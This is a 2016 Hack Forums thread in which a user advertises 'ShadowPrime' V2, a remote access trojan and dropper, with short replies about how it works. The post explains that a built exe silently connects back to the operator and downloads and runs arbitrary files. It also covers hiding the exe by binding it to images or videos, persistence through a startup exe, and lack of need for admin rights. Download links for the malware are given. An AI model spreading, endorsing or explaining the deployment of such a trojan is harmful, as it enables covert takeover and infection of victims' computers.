+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: Shadowprime File Dropper RAT V2.0 Fixed & Improved (/showthread.php?tid=5151069)
Shadowprime File Dropper RAT V2.0 Fixed & Improved - ⒤⒞⒰⒭⒰⒪⒦ - Jan 29, 2016
ShadowPrime Download Injector V2
This is version 2 of my created program with many bug fixes and improvments made.
Tested remote with vpn and all works fine.
This program allows you to run a server in your system and create a single exe file to send to target.
Once client runs the exe there system will connect to your server silently in background.
Once a client connects to your server the server will open a window asking for a file link.
Enter the Direct URL of the file and target system will silently download and execute this file on there system.
Target systems dont require admin user and works on windows xp-10
![[Image: uv9YdB1.png]](https://i.imgur.com/uv9YdB1.png)
Scan Results
https://www.virustotal.com/en/file/bba04aaade659fb0bb1c46545002f6267e4ab8df33b1a2e70e4d924324396d8c/analysis/1454054236/
Download
http://s000.tinyupload.com/index.php?file_id=71163859381336549497
Note- The target exe file will not add itself to system startup by defualt.
Meaning once system shuts down client will not connect back to your server.
If you wish to add the client to startup so they connect to you everytime they turn on there system. I have created a exe to do this, When client connects and it asked for a Direct URL send them this file and then they will connect to your server on every system startup.
Startup EXE 01-29-2016, 02:45 PM
http://goohax.comxa.com/startup.exe
Targets DO NOT have to be admin now for the startup file to open and add the ShadowPrime DI client to system startup.
I created the startup to work like this so if you selected to bind target exe with another file it wont add both files to startup only the client trojan. Also helps keep it so target users can be non admin users too for the download injector to still work.
Also note that the file you select to bind with can be ANY filetype or extension you can bind target exe with a avi/jpg/png/wmv/torrent/ anything you want. And when target opens target.exe both shadowPrime DI client will open and what ever file you selected.
* - DesiJat - Jan 29, 2016
can you tell me what does this product does?
* - ⒤⒞⒰⒭⒰⒪⒦ - Jan 29, 2016
(Jan 29, 2016 04:22 AM)DesiJat Wrote: can you tell me what does this product does?
It allows you to run a server on your system.
It then allows you to build target "client" files to connect to your server.
Once a remote target system connects to your server a window will open on your server asking for a direct URL link.
Put a link to a exe file you want target client to download and execute.
The file will then silently download and open itself.
* - Armada - Jan 29, 2016
Init this near the same thing as your other post?
Does it use the same "Build process" as you call it to give off Trojan detections? 😑
* - ⒤⒞⒰⒭⒰⒪⒦ - Jan 29, 2016
(Jan 29, 2016 06:21 AM)Armada Wrote: Init this near the same thing as your other post?
Does it use the same "Build process" as you call it to give off Trojan detections? 😑
Well yeah but that post was version 1.0
I recoded this ... Yes based off the exact same source as V1 and works the same way.
But in this version I coded my own self extracting zip program rather than using zip2exe binary. Also fixed alot of bugs in this version.
* - ⒤⒞⒰⒭⒰⒪⒦ - Feb 4, 2016
If anyone needs help using this program or has questions about it or even suggestion please let me know